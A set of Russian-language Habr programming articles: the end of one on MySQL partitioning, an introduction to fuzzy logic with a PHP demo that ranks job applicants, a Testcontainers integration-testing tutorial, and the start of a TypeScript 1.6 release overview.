+----+-------------+---------------+------------+--------+---------------+------+---------+------+------+-------+
| 1 | SIMPLE | orders_range3 | p_2008 | system | NULL | NULL | NULL | NULL | 1 | |
+----+-------------+---------------+------------+--------+---------------+------+---------+------+------+-------+
1 row in set (0.00 sec)`
Мы видим, что при выполнении этого запроса работа будет идти исключительно с «подтаблицей» p\_2008.
Более того, ускорение достигается даже в случае выполнения запросов, затрагивающих все данные во всех партициях — ведь в этом случае сначала происходит первичная «обработка» таблиц по меньше, потом данные объединяются и производятся финальные вычисления. Так вот как раз «первые» этапы, в данном случае будут происходить гораздо быстрее.
**Какие еще есть преимущества?**
Главным преимуществом я бы назвал тот факт, что партиция с «оперативными» данными (т.е. последними, по которым наиболее часто происходит выборка) имеют минимальный размер, и как следствие, могут постоянно находится в оперативной памяти.
Если у вас есть таблица логов, в которую непрерывно идет запись и жесткие диски не успевают, а ставить рейд вам не позволяет религия, вы можете настроить партиционирование по хеш-функции, и указать по одной партиции на каждый доступный вам жесткий диск. В таком случае, новые данные будут равномерно писаться на все жесткие диски.
**Какие способы «разделения» данных предоставляет mySQL?**
1. RANGE
По диапазону значений
PARTITION BY RANGE (store\_id) (
PARTITION p0 VALUES LESS THAN (10),
PARTITION p1 VALUES LESS THAN (20),
PARTITION p3 VALUES LESS THAN (30)
);
2. LIST
По точному списку значений
PARTITION BY LIST(store\_id) (
PARTITION pNorth VALUES IN (3,5,6,9,17),
PARTITION pEast VALUES IN (1,2,10,11,19,20)
)
Зачем, спросите вы? Разбивать на партиции необходимо либо исходя из соображений оптимизации выборки (что чаще) либо исходя из соображений оптимизации записи (реже). Соответственно, идеальный вариант — это когда вы разбиваете таблицу на максимально возможное количество партиций так, что бы 90% всех выборок происходило в пределах одной партиции. И если у вас сложная логика выборки (например, объекты расположенные в северных кварталах города, ID которых идут в разнобой) то иногда есть смысл перечислять их принудительно.
3. HASH
PARTITION BY HASH(store\_id)
PARTITIONS 4;
Вы никак не управляете партицированием, просто указываете, по какому полю строить хеш и сколько «подтаблиц» создавать. Зачем? Гораздо быстрее происходит выборка по указанному полю. В некоторых случаях позволяет достигнуть «равномерного разброса» и ускорения записи данных.
4. KEY
Почти то же самое что и HASH, но более логично — по ключу.
PARTITION BY KEY(s1)
PARTITIONS 10;
Т.е. выборка по указанному ключевому полю происходит максимально эффективно.
Но тут так же следует определиться со способом партицирования. Хорошо подходит для счетчика посетителей, когда его логин является единственным идентификатором, по которому необходимо выбирать все остальные данные.
**Чего нет?**
Нет вертикального партицирования. Это когда разные столбцы (поля) находятся в разных «подтаблицах». Поскольку иногда это бывает полезно, вы можете достичь этого самостоятельно, пусть даже не так прозрачно: разделить таблицу на две, связав их по первичному ключу. Если вам совсем хочется красоты — можете дополнительно создать по ним VIEW, например для того что бы не переписывать старые части кода.
Зачем это делать? Например, в таблице, где у вас в основном числа и даты, есть одно поле VARCHAR (255) для комментариев, которое используется на порядок реже чем остальные поля. В случае если его вынести в другую таблицу, то мы получим фиксированный размер строки (mySQL сможет совершенно точно вычислять позицию нужной строки по индексу в файле данных). Таблица станет более устойчивой к сбоям в случае внештатных ситуаций (опять же, из-за фиксированного размера строки). Ну и существенно уменьшится сам размер таблицы.
И заканчивая статью приведу пример более «реального» партицирования таблиц — помесячно. Так как LIST/RANGE принимают только целочисленные значения, то надо немного исхитрится:
PARTITION BY RANGE( TO\_DAYS(order\_date) ) (
PARTITION y2009m1 VALUES LESS THAN( TO\_DAYS('2009-02-01') ),
PARTITION y2009m2 VALUES LESS THAN( TO\_DAYS('2009-03-01') ),
PARTITION y2009m3 VALUES LESS THAN( TO\_DAYS('2009-04-01') )
);
PS: В mysql всегда приходится немного «исхитриться», так что скучно с ней не будет никогда, а мы в свою очередь никогда не останемся без работы :) | https://habr.com/ru/post/66151/ | null | ru | null |
# Введение в нечёткую логику
Вы когда-нибудь подумывали написать такой алгоритм, в соответствии с которым приложение само принимало бы решения, либо справлялось с какими-нибудь странными действиями, при помощи которых клиент отчаянно пытается его сломать?
Создавая такой алгоритм, вы заметите, что просто замусориваете ваш код логикой if-else (пока он не превратится в кашу), а самим вам начинает казаться, что вот так просто не прокатит.
Итак, если только вас не пробирает дрожь от математики – читайте дальше. Здесь в дело вступает нечёткая логика! Немного контекста: слово «нечёткий» (англ. «fuzzy») в данном случае означает «труднопонимаемый» — таков может быть, например, код вашего коллеги.
В этом посте я постараюсь объяснить нечёткую логику и объяснить, как она работает.
❯ Что такое нечёткая логика?
----------------------------
Если просто – это логика, имитирующая мышление живого человека. Теперь представьте, чего можно добиться нечёткой логикой, помноженной на вычислительную мощность вашего ЦП – совершенно очевидно, что такой алгоритм сможет принимать решения быстрее вас.
Это просто расширение булевой логики – той самой, что оперирует 0 и 1.
❯ С какой же целью она создавалась?
-----------------------------------
Профессор Заде, автор нечёткой логики, считал, что людям не требуется такой ввод как машинам, но люди крайне адаптивны. Думаю, вам не нужно устанавливать в мозг специальную программу, чтобы разобраться, как есть пиццу.
Чтобы алгоритм нечёткой логики думал «по-нашему», он должен действовать как человек. Правила, задаваемые нами, выражаются на естественном языке. Например, вот правила, по которым работает воздушный кондиционер:
1. Если сейчас в комнате холодно, и вы ставите кондиционер на обогрев, то он должен поднять температуру в комнате.
2. Если сейчас в комнате тепло, а вы ставите кондиционер на поддержание тепла, то температура в комнате не должна измениться.
3. Если сейчас в комнате жарко, а вы ставите кондиционер на охлаждение, то постепенно кондиционер должен снизить температуру в помещении.
Ниже мы разберём такие правила подробнее.
❯ Использование нечёткой логики
-------------------------------
Если вы заинтересовались, может ли нечёткая логика применяться в программировании для решения каких-либо задач кроме использования кондиционера, который мог бы заморозить офис – вот вам примеры:
### 1. Проверка правописания
Возможно, в детстве задавали по географии домашнюю работу по описанию какой-нибудь реки, и вам достаточно было просто *скопировать* и *вставить* нужную информацию из Википедии…
…а вы взяли и выбрали Миссисипи. Конечно, это хорошо, но вы не знали, как именно пишется «Миссисипи», поэтому, берясь за домашнее задание, вы попробовали просто угадать.
К счастью, поисковик умеет предлагать правильную орфографию, подбирая её при помощи нечёткого соответствия (fuzzy matching) и функции проверки правописания.
### 2. Поиск
Итак, домашнюю работу вы сделали, и готовы отправиться в кроватку – но случайно споткнулись о сетевой кабель, и он оборвался. На родительском компьютере пропал Интернет.
Так что, прежде, чем родители вернутся, вы решаете потратить часть карманных денег и заменить повреждённый кабель. Для начала его нужно купить.
Берёте ноутбук брата, выходите с него в любимый интернет-магазин и вводите в поисковой строке «Провод для интернета». Поскольку не знаете, что такое Ethernet-кабель.
Тадам! Вашему вниманию представлены разнообразные Ethernet-кабели и, даже если вы задали ключевое слово «интернет», алгоритм нечёткого поиска, действующий в магазине, «догадывается», что вам нужно.
### 3. Рекомендации
Вы оформили покупку и просто ждёте, пока вам доставят новый Ethernet-кабель, а тем временем решили полистать раздел с одеждой, вот так вам хочется. Через несколько секунд натыкаетесь на раздел «Recommend Items» («Рекомендуемые товары»).
Приложение с механизмом нечёткого подбора рекомендаций будет подсказывать вам товары в зависимости от того, что вы покупали ранее, и даже от того, какие товары вы успели посмотреть.
Теперь, чтобы вам было проще разобраться в том, как устроена нечёткая логика, давайте углубимся в тему и начнём с основ. Вы готовы?
❯ Классическая теория множеств
------------------------------
Для начала обратимся к простому разделу математики, в котором изучаются множества –это классическая теория множеств.
В классической трактовке множество – это совокупность определённых вполне различаемых объектов. Рассмотрим следующее изображение:
У нас есть множество чисел от `1` до `5`, множество символов от A до E и даже множество слов, например, `HTML`, `JavaScript`, `CSS` и `PHP`.
❯ Нечёткие множества
--------------------
Нечёткие множества могут рассматриваться как продолжение классических. В классическом случае элемент может относиться либо не относиться к множеству, тогда как к нечёткому множеству элемент может относиться как целиком, так и на половину, на четверть или на крошечную долю.
Например, говоря: «сейчас холодно» мы не имеем в виду страшный мороз, а говоря: «сейчас жарко» не имеем в виду испепеляющий зной. Обычно мы указываем, в какой степени сейчас жарко или холодно, обычно выражая это значение как температуру в градусах Цельсия.
Разумеется, именно от вас зависит, как вы расположите реальные значения в диапазоне от 0 до 1. Считайте, что 0 и 1 – это процентные значения, записанные в десятичной системе. 1 соответствует 100% и присваивается наилучшему значению, тогда как 0 соответствует 0% и присваивается наихудшему значению.
❯ Лингвистические переменные и значения
---------------------------------------
Лингвистическими называются такие переменные, в которых слова и даже выражения берутся из обычного разговорного языка. Лингвистические значения – это, в сущности, значения лингвистических переменных.
`temperature (t) = {cold, warm, hot}`
В вышеприведённом примере `temperature` – это наша лингвистическая переменная, а `cold`, `warm` и `hot` – это лингвистические значения.
❯ Функция принадлежности и нечёткие правила
-------------------------------------------
В нечётком множестве функция принадлежности определяет значение или точку.
В данном примере мы подаём на ввод три функции принадлежности, скажем:
1. Холодно
2. Тепло
3. Жарко
На вывод также имеем три функции принадлежности:
1. 1. Холодно
2. 2. Без изменений
3. 3. Жарко
Нечёткая логика основана на простом правиле IF-THEN с условием и заключением.
Если сопоставить функции принадлежности с правилами нечёткой логики, то получим следующие инструкции:
`IF (temperature is COLD) AND (target is COLD) THEN command is NO-CHANGE
IF (temperature is COLD) AND (target is WARM) THEN command is HEAT
IF (temperature is COLD) AND (target is HOT) THEN command is HEAT
IF (temperature is WARM) AND (target is COLD) THEN command is COOL
IF (temperature is WARM) AND (target is WARM) THEN command is NO-CHANGE
IF (temperature is WARM) AND (target is HOT) THEN command is HEAT
IF (temperature is HOT) AND (target is COLD) THEN command is COOL
IF (temperature is HOT) AND (target is WARM) THEN command is COOL
IF (temperature is HOT) AND (target is HOT) THEN command is NO-CHANGE`
В следующей таблице в формате 3 x 3 представлены правила нечёткой логики:
❯ Операции с нечёткими множествами
----------------------------------
Вычисления в соответствии с правилами нечёткой логики и комбинирование результатов выполнения отдельных правил – это особый набор операций над нечёткими множествами.
Операции над нечёткими множествами отличаются от стандартных логических операций.
**1. Объединение**
В данном случае вывод содержит все элементы обоих множеств.
**2. Пересечение**
В данном случае вывод содержит только общую часть обоих множеств.
**3. Отрицание**
В данном случае вывод содержит всё то, что не нашлось в множестве.
**4. Агрегация**
В данном случае вывод содержит комбинацию нечётких множеств, каждое из которых представляет вывод одного из правил.
❯ Дефаззификация
----------------
Поскольку вывод операций над нечёткими множествами представляет собой нечёткое значение, нужен способ как-то превратить этот вывод в значения, понятные машинам. Такой процесс называется «дефаззификация».
Нечёткое значение можно дефаззифицировать разными способами. Вот некоторые из них:
* Сумма центров
* Центроидный метод
* Метод центра площади
* Средневзвешенный метод
* Метод максимума функции принадлежности
❯ Применение нечёткой логики в PHP
----------------------------------
Однажды к нам в отдел разработки обратились из HR-отдела и попросили написать приложение, которое позволило бы выбирать наилучшего кандидата из всех, претендующих на позицию веб-разработчика.
В данном посте я опишу эту задачу в упрощённом виде и перечислю только следующие критерии, по которым предполагалось судить о кандидатах:
* Опыт соискателя – сколько лет он занимается разработкой веб-приложений.
* Балл, набранный соискателем при практическом тестировании.
* Балл, набранный соискателем на собеседованиях с командой и с HR.
Допустим, у нас есть следующий список соискателей с соответствующими признаками:
❯ Пишем код
-----------
Первым делом мы собирались реализовать нужные нам функции принадлежности и агрегации. Существует много функций агрегации, но ради простоты мы используем одну из самых известных, вычисляющую среднее арифметическое.
```
/**
* Получить среднее арифметическое всех признаков
* @param array $aParams
* @return float|int
*/
private function getArithmeticMean(array $aParams)
{
$mCount = (float)count($aParams);
$mSum = (float)array_sum($aParams);
return $mSum / $mCount;
}
```
*Функция агрегации – среднее арифметическое*
Затем воспользуемся треугольной функцией в качестве функции принадлежности.
```
/**
* Треугольная функция принадлежности
* @param $fApplicantValue
* @param $aTrimfValues
* @return float|int
*/
private function getTrimf(float $fApplicantValue, array $aTrimfValues)
{
$aTrimfValues[0] = (float)$aTrimfValues[0];
$aTrimfValues[1] = (float)$aTrimfValues[1];
$aTrimfValues[2] = (float)$aTrimfValues[2];
if ($fApplicantValue < $aTrimfValues[0]) {
return 0;
}
if ($fApplicantValue >= $aTrimfValues[0] && $fApplicantValue <= $aTrimfValues[1]) {
return ($fApplicantValue - $aTrimfValues[0]) / ($aTrimfValues[1] - $aTrimfValues[0]);
}
if ($fApplicantValue > $aTrimfValues[1] && $fApplicantValue <= $aTrimfValues[2]) {
return ($aTrimfValues[1] - $fApplicantValue) / ($aTrimfValues[2] - $aTrimfValues[1]) + 1;
}
return 0;
}
```
*Треугольная функция в качестве функции принадлежности*
Написав функции агрегации и принадлежности, добавим остальной код, который понадобится нам для обработки ввода.
```
/**
* Анализируем следующие функции и соискателей
* @param array $aSetFeatures
* @param array $aApplicants
* @return array
*/
public function analyzeItems(array $aSetFeatures, array $aApplicants): array
{
$aResults = [];
for ($iCount = 0, $iCountMax = count($aApplicants); $iCount < $iCountMax; $iCount++) {
$aResults[$iCount]['identifier'] = $aApplicants[$iCount]['identifier'];
$aResults[$iCount]['score'] = $this->aggregateSet($aApplicants[$iCount], $aSetFeatures);
}
return $aResults;
}
/**
* @param array $aApplicant
* @param array $aSetFeatures
* @return float|int
*/
private function aggregateSet(array $aApplicant, array $aSetFeatures)
{
$aFeatureScores = [];
for ($iCount = 0, $iCountMax = count($aSetFeatures); $iCount < $iCountMax; $iCount++) {
$aFeatureScores[$iCount] = $this->getTrimf($aApplicant['features'][$aSetFeatures[$iCount]['identifier']], $aSetFeatures[$iCount]['values']);
}
return $this->getArithmeticMean($aFeatureScores);
}
```
*Анализируем элементы и функции агрегации множеств*
Добавив этот процесс, нужно указать признаки, которыми мы будем пользоваться при анализе списка соискателей. Поскольку мы применяем треугольную функцию принадлежности, второй параметр в values и есть наше идеальное значение.
Например, в `experience_years` у нас следующие значения: `0`, `3`, `5`. Таким образом, для нас предпочтительны люди с 3 годами опыта на фоне тех, у кого нет и года опыта и тех, чей опыт уже составляет 5 лет и более.
```
$this->aSetFeatures = [
[
'identifier' => 'experience_years',
'values' => [0, 3, 5]
], [
'identifier' => 'practical_test_score',
'values' => [0, 100, 100]
], [
'identifier' => 'team_interview_score',
'values' => [0, 5, 5]
], [
'identifier' => 'hr_interview_score',
'values' => [0, 10, 10]
]
];
```
*Массив признаков*
Теперь необходимо указать входные значения для каждого соискателя:
```
$this->aApplicants = [
[
'identifier' => 'Applicant A',
'features' => [
'experience_years' => 3,
'practical_test_score' => 87.30,
'team_interview_score' => 5,
'hr_interview_score' => 9
]
], [
'identifier' => 'Applicant B',
'features' => [
'experience_years' => 4,
'practical_test_score' => 88.25,
'team_interview_score' => 3,
'hr_interview_score' => 8
]
], [
'identifier' => 'Applicant C',
'features' => [
'experience_years' => 4,
'practical_test_score' => 81.67,
'team_interview_score' => 5,
'hr_interview_score' => 7
]
], [
'identifier' => 'Applicant D',
'features' => [
'experience_years' => 1,
'practical_test_score' => 91.90,
'team_interview_score' => 4,
'hr_interview_score' => 7
]
], [
'identifier' => 'Applicant E',
'features' => [
'experience_years' => 1,
'practical_test_score' => 89.58,
'team_interview_score' => 4,
'hr_interview_score' => 8
]
], [
'identifier' => 'Applicant F',
'features' => [
'experience_years' => 2,
'practical_test_score' => 89.49,
'team_interview_score' => 4,
'hr_interview_score' => 7
]
], [
'identifier' => 'Applicant G',
'features' => [
'experience_years' => 4,
'practical_test_score' => 98.94,
'team_interview_score' => 4,
'hr_interview_score' => 8
]
], [
'identifier' => 'Applicant H',
'features' => [
'experience_years' => 4,
'practical_test_score' => 80.80,
'team_interview_score' => 4,
'hr_interview_score' => 8
]
], [
'identifier' => 'Applicant I',
'features' => [
'experience_years' => 2,
'practical_test_score' => 82.97,
'team_interview_score' => 4,
'hr_interview_score' => 8
]
], [
'identifier' => 'Applicant J',
'features' => [
'experience_years' => 2,
'practical_test_score' => 81.91,
'team_interview_score' => 3,
'hr_interview_score' => 7
]
]
];
```
*Массив соискателей*
Наконец, остаётся добавить код, который запускал бы анализатор и выводил результаты на экран.
```
/**
* Запустить анализатор и отобразить результаты
* @return Factory|View
*/
public function index()
{
$aResults = $this->analyzeItems($this->aSetFeatures, $this->aApplicants);
return view('index', compact($aResults));
}
```
*Функция индекса*
❯ Вывод
-------
Воспользовавшись треугольной функцией принадлежности и агрегацией по среднему арифметическому, можем сказать, что **соискатель A** наиболее предпочтителен на фоне других, и ему должно быть сделано предложение.
Но ещё необходимо отметить, что в этой демо-версии мы *не указывали никаких весов*. Кроме того, среднее арифметическое и треугольная функция принадлежности на практике плохо вписываются в данный сценарий – здесь я использовал их только для простоты, чтобы вы могли получить представление о работе нечёткой логики в PHP.
Подробнее эта тема разобрана в [репозитории на Github](https://github.com/goodot/fuzzy-dm). Именно на его основе написана большая часть представленного здесь демо-кода. Также можете познакомиться со ссылками, приведёнными ниже.
Всем мира! ✌
### Ссылки:
1. [Нечёткие множества в изложении Лотфи Заде](https://www.sciencedirect.com/science/article/pii/S001999586590241X)
2. [Краткое руководство по нечёткой логике](http://cs.bilkent.edu.tr/~zeynep/files/short_fuzzy_logic_tutorial.pdf)
3. [Что такое нечёткая логика?](https://www.mathworks.com/help/fuzzy/what-is-fuzzy-logic.html)
4. [Введение в нечёткую логику](http://aisii.azc.uam.mx/mcbc/Cursos/IntCompt/Lectura15.pdf)
5. [Контроль температуры с использованием нечёткой логики](https://arxiv.org/ftp/arxiv/papers/1402/1402.3654.pdf)
6. [Искусственный интеллект – системы нечёткой логики](https://www.tutorialspoint.com/artificial_intelligence/pdf/artificial_intelligence_fuzzy_logic_systems.pdf)
7. [ketili/fuzzydm](https://packagist.org/packages/ketili/fuzzydm)
[](https://timeweb.cloud//vds-vps?utm_source=habr&utm_medium=banner&utm_campaign=vds-promo-6-rub) | https://habr.com/ru/post/713620/ | null | ru | null |
# Testcontainers: тестирование с реальными зависимостями
Программное обеспечение развивается с течением времени, и автоматизированное тестирование является необходимым условием для непрерывной интеграции и непрерывной доставки. Разработчики пишут различные типы тестов, такие как модульные тесты, интеграционные тесты, тесты производительности и E2E-тесты для измерения различных аспектов программного обеспечения.
Обычно модульное тестирование выполняется для проверки только бизнес-логики, и в зависимости от тестируемой части системы для внешних зависимостей, как правило, используются макеты или заглушки.
Но одни только модульные тесты не обеспечивают большой уверенности, потому что фактическая сквозная функциональность зависит от интеграции различных внешних сервисов. Поэтому интеграционные тесты используются для проверки общего поведения системы с помощью реальных зависимостей.
Традиционно интеграционное тестирование представляет собой сложный процесс, который может включать следующие этапы:
* Установка и настройка необходимых зависимых служб, таких как базы данных, брокеры сообщений и т. д.
* Настройка веб-сервера или сервера приложений
* Создание и развертывание артефакта (jar, war, нативный исполняемый файл и т. д.) на сервере.
* Наконец, запуск интеграционных тестов
Однако, используя Testcontainers, вы можете получить как легкость и простоту модульных тестов, так и надежность интеграционных тестов, работающих с реальными зависимостями.
1. Почему важно тестирование с реальными зависимостями
------------------------------------------------------
Тесты должны позволять разработчикам проверять поведение приложения с помощью быстрых циклов обратной связи во время фактической разработки.
Тестирование с помощью макетов или сервисов в памяти не только создает ложное впечатление о том, что система работает нормально, но также может значительно задержать цикл обратной связи. Тесты с использованием реальных зависимостей проверяют реальный код и дают больше уверенности.
Рассмотрим распространенный сценарий использования баз данных в памяти, таких как H2, для тестирования при использовании Postgres или SQL Server в производственной среде. Есть несколько причин, почему это плохая практика.
### Проблемы совместимости
Любое нетривиальное приложение будет использовать некоторые специфичные для базы данных функции, которые могут не поддерживаться базами данных в памяти. Например, распространенный способ применения пагинации является использование **LIMIT** и **OFFSET**.
```
SELECT id, name FROM employee ORDER BY name LIMIT 25 OFFSET 50
```
Представьте, что вы используете базу данных H2 для тестирования и MS SQL Server в качестве производственной базы данных. Когда вы тестируете с помощью H2, тесты пройдут, создавая ошибочное впечатление, что ваш код работает нормально, но в производственной среде они провалятся, потому что MS SQL Server не поддерживает синтаксис **LIMIT … OFFSET**.
### Базы данных в памяти могут не поддерживать все функции вашей производственной базы данных
Ваше приложение может использовать специфические для производителя базы данных расширенные возможности, такие как **функции преобразования XML/JSON**, **WINDOW**-функции и **общие табличные выражения (CTE)**, которые могут не полностью поддерживаться базами данных в памяти. В таких случаях тестирование с использованием баз данных в памяти становится невозможным.
Очень часто они перерастают в еще большую проблему, когда вы имитируете сервисы в своем собственном коде. Хотя макеты могут помочь в тестировании сценариев, в которых вы можете успешно извлечь определение макета для использования в качестве контракта для сервисов, очень часто такая проверка совместимости только добавляет сложности в настройку теста.
А обычное использование макетов не позволяет ни надежно проверить, что поведение вашей системы будет работать в производственной среде, ни дает уверенности в том, что набор тестов отловит проблемы при возникновении несовместимости с вашим кодом и сторонними интеграциями.
Поэтому настоятельно рекомендуется писать тесты с использованием реальных зависимостей как можно чаще и использовать имитаторы только в редких случаях.
2. Тестирование с использованием реальных зависимостей с помощью Testcontainers
-------------------------------------------------------------------------------
Testcontainers — это библиотека тестирования, которая позволяет писать тесты с использованием реальных зависимостей с помощью одноразовых контейнеров Docker. Она предоставляет программируемый API для создания необходимых зависимых сервисов в виде контейнеров Docker, чтобы вы могли писать тесты, используя реальные сервисы вместо макетов. Таким образом, независимо от того, пишете ли вы модульные тесты, тесты API или сквозные тесты, вы можете писать тесты с использованием реальных зависимостей с помощью одной и той же модели программирования.
Библиотеки Testcontainers доступны для следующих языков и хорошо интегрируются с большинством фреймворков и библиотек тестирования:
* Java
* Go
* Node.js
* .NET
* Python
* Rust
3. Исследование примера
-----------------------
Давайте посмотрим, как Testcontainers можно использовать для тестирования различных частей приложения, и все они выглядят как «модульные тесты с реальными зависимостями».
В этой статье мы будем использовать пример кода из [приложения SpringBoot, реализующего типичный API-сервис](https://github.com/testcontainers/testcontainers-java-spring-boot-quickstart), который используется через веб-приложение и использует Postgres для хранения данных.
Но поскольку Testcontainers предоставляет вам идиоматический API для вашего любимого языка, аналогичная настройка может быть выполнена во всех них.
Поэтому рассматривайте эти примеры как иллюстрации, чтобы получить представление о том, что возможно. И если вы работаете в экосистеме Java, то вы узнаете тесты, которые вы писали в прошлом, или получите стимул к тому, как это можно сделать.
### 3.1. Тестирование репозиториев данных
Допустим, у нас есть следующий репозиторий Spring Data JPA с одним пользовательским методом.
```
public interface TodoRepository extends PagingAndSortingRepository {
@Query("select t from Todo t where t.completed is false")
Iterable getPendingTodos();
}
```
Как мы уже говорили выше, использование базы данных в памяти для тестирования, в то время как для производства используется другой тип базы данных, совсем не рекомендуется и может вызвать множество проблем. Функции или синтаксис запроса, поддерживаемые вашим типом производственной базы данных, могут не поддерживаться базой данных в памяти.
Например, следующий запрос, который вы можете использовать в сценариях миграции данных, будет отлично работать в Postgresql, но сломается в случае с H2.
```
INSERT INTO todos (id, title)
VALUES ('1', 'Learn Modern Integration Testing with Testcontainers')
ON CONFLICT do nothing;
```
Поэтому всегда рекомендуется проводить тестирование с тем же типом базы данных, который используется в производственной среде.
Мы можем написать модульные тесты для **TodoRepository**, используя аннотацию **@DataJpaTest** для срезовых тестов SpringBoot, создав контейнер Postgres с помощью Testcontainers следующим образом:
```
@DataJpaTest
@AutoConfigureTestDatabase(replace = AutoConfigureTestDatabase.Replace.NONE)
@Testcontainers
class TodoRepositoryTest {
@Container
static PostgreSQLContainer postgres = new PostgreSQLContainer<>("postgres:14-alpine");
@DynamicPropertySource
static void configureProperties(DynamicPropertyRegistry registry) {
registry.add("spring.datasource.url", postgres::getJdbcUrl);
registry.add("spring.datasource.username", postgres::getUsername);
registry.add("spring.datasource.password", postgres::getPassword);
}
@Autowired
TodoRepository repository;
@BeforeEach
void setUp() {
repository.deleteAll();
repository.save(new Todo(null, "Todo Item 1", true, 1));
repository.save(new Todo(null, "Todo Item 2", false, 2));
repository.save(new Todo(null, "Todo Item 3", false, 3));
}
@Test
void shouldGetPendingTodos() {
assertThat(repository.getPendingTodos()).hasSize(2);
}
}
```
Зависимость базы данных Postgres обеспечивается с помощью Testcontainers JUnit5 Extension, и тест взаимодействует с реальной базой данных Postgres. Для получения дополнительной информации об использовании управления жизненным циклом контейнеров смотрите раздел [Интеграция Testcontainers и JUnit](https://www.atomicjar.com/2022/08/testcontainers-and-junit-integration/).
Тестирование с использованием базы данных того же типа, который используется для производственной среды, вместо использования базы данных в памяти, позволяет полностью избежать проблем совместимости баз данных и повышает доверие к нашим тестам.
Для тестирования баз данных Testcontainers предоставляют [специальную поддержку JDBC URL](https://www.testcontainers.org/modules/databases/jdbc/), которая облегчает работу с базами данных SQL.
### 3.2. Тестирование конечных точек REST API
Мы можем протестировать конечные точки API, загружая приложение вместе с необходимыми зависимостями, такими как база данных, предоставленная через Testcontainers. Модель программирования для тестирования конечных точек REST API такая же, как и для модульного тестирования репозитория.
```
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
@Testcontainers
public class TodoControllerTests {
@LocalServerPort
private Integer port;
@Container
static PostgreSQLContainer postgres = new PostgreSQLContainer<>("postgres:14-alpine");
@DynamicPropertySource
static void configureProperties(DynamicPropertyRegistry registry) {
registry.add("spring.datasource.url", postgres::getJdbcUrl);
registry.add("spring.datasource.username", postgres::getUsername);
registry.add("spring.datasource.password", postgres::getPassword);
}
@Autowired
TodoRepository todoRepository;
@BeforeEach
void setUp() {
todoRepository.deleteAll();
RestAssured.baseURI = "http://localhost:" + port;
}
@Test
void shouldGetAllTodos() {
List todos = List.of(
new Todo(null, "Todo Item 1", false, 1),
new Todo(null, "Todo Item 2", false, 2)
);
todoRepository.saveAll(todos);
given()
.contentType(ContentType.JSON)
.when()
.get("/todos")
.then()
.statusCode(200)
.body(".", hasSize(2));
}
}
```
Мы загрузили приложение с помощью аннотации **@SpringBootTest** и использовали RestAssured для выполнения вызовов API и проверки ответа. Это даст нам больше уверенности в наших тестах, поскольку в них не задействованы макеты, и позволит разработчикам выполнять любой внутренний рефакторинг кода, не нарушая API-контакта.
### 3.3. Сквозное тестирование с использованием Selenium и Testcontainers
Selenium — популярный инструмент автоматизации браузера для проведения сквозного тестирования. Testcontainers предоставляет модуль Selenium, упрощающий выполнение тестов на основе Selenium в контейнере Docker.
```
@Testcontainers
public class SeleniumE2ETests {
@Container
static BrowserWebDriverContainer chrome = new BrowserWebDriverContainer<>().withCapabilities(new ChromeOptions());
static RemoteWebDriver driver;
@BeforeAll
static void beforeAll() {
driver = new RemoteWebDriver(chrome.getSeleniumAddress(), new ChromeOptions());
}
@AfterAll
static void afterAll() {
driver.quit();
}
@Test
void testViewHomePage() {
String baseUrl = "https://myapp.com";
driver.get(baseUrl);
assertThat(driver.getTitle()).isEqualTo("App Title");
}
}
```
Мы можем запускать Selenium-тесты с помощью той же модели программирования, используя **WebDriver**, предоставленный Testcontainers. Testcontainers даже позволяют легко записывать видео выполнения тестов без необходимости выполнять сложную настройку конфигурации.
> Для справки вы можете взглянуть на проект [Testcontainers Java SpringBoot QuickStart](https://github.com/testcontainers/testcontainers-java-spring-boot-quickstart).
>
>
4. Заключение
-------------
Мы рассмотрели различные типы тестов, которые разработчики используют в своих приложениях: уровень доступа к данным, тесты API и даже сквозные тесты. Также было рассмотрено использование библиотек Testcontainers для упрощения настройки для запуска этих тестов с реальными зависимостями, такими как реальная версия базы данных, которую вы будете использовать в производственной среде.
Testcontainers доступна на нескольких популярных языках программирования, таких как Java, Go, .NET и Python, и предоставляет вам идиоматический подход к преобразованию ваших тестов с реальными зависимостями в модульные тесты, которые знают и любят разработчики.
Тесты на основе Testcontainers одинаково выполняются как в вашем конвейере CI, так и локально, независимо от того, решите ли вы запустить отдельный тест в своей IDE, класс тестов или даже весь набор тестов из командной строки, что обеспечивает непревзойденную воспроизводимость проблем и опыт разработчика.
Более того, Testcontainers позволяет писать тесты с использованием реальных зависимостей без необходимости использования макетов, что придает больше уверенности вашему набору тестов. Итак, если вы сторонник практичного подхода, ознакомьтесь с [Testcontainers Java SpringBoot QuickStart](https://github.com/testcontainers/testcontainers-java-spring-boot-quickstart), содержащим все типы тестов, которые мы рассмотрели в этой статье, сразу же доступные для запуска! | https://habr.com/ru/post/700286/ | null | ru | null |
# Релиз TypeScript 1.6: не только React
Компания Microsoft активно выпускает новые версии TypeScript. Товарищи разработчики объявили о выпуске бета версии TS версии 1.6 аж второго сентября. А уже 16 сентября был выпущен релиз. Скоростные ребята. Но при этом релиз как-то прошел незамеченным (не для всех, но все же). На Хабре как-то не было упоминаний (я не нашел). А посему немного информации по улучшениям.
Одна из мощных фич этой версии заключается в нативной поддержке синтаксиса React/JSX. Но это не все. Вот перечень некоторых нововведений:
* Генераторы ES6
* Локальные типы
* Алиасы на генерик типы
* Классовые выражения (анонимные классы)
* Поддержка JSX
* Абстрактные классы и методы
* Новый флаг –init
* Новая секция “exclude” в конфигурационном файле tsconfig.json
Рассмотрим наиболее интересные из них. Го под кат, если интересно.
Весь перечень нововведений можно увидеть на [официальной странице](https://github.com/Microsoft/TypeScript/wiki/Roadmap).
#### **Генераторы ES6**
Тут все просто – можно теперь писать функции генераторы. Их можно типизировать, естественно. Интерфейс генератора выглядит так:
```
interface Generator extends IterableIterator {
next(n: TNext): IteratorResult;
// throw and return methods elided
}
```
Пример использования:
```
interface Generator extends IterableIterator {
next(n: TNext): IteratorResult;
}
function \*g(): Generator {
let x = yield 0; // x имеет тип string
}
```
Больше примеров можно найти по ссылке [github.com/Microsoft/TypeScript/issues/2873](https://github.com/Microsoft/TypeScript/issues/2873)
#### **Локальные типы**
Еще одно интересное нововведение – локальные типы. Теперь можно объявлять типы внутри условий, что расширяет возможности для мета программирования. Пример:
```
function f() {
if (true) {
interface T { x: number }
let v: T;
v.x = 5;
}
else {
interface T { x: string }
let v: T;
v.x = "hello";
}
}
```
Так же это полезно для объявления локальных типов, которые будут доступны только в текущем лексическом контексте. Это позволит избавиться от засорения глобальной области видимости. Пример:
```
function f() {
enum E {
A, B, C
}
class C {
x: E;
}
interface I {
x: E;
}
type A = I[];
let a: A = [new C()];
a[0].x = E.B;
}
```
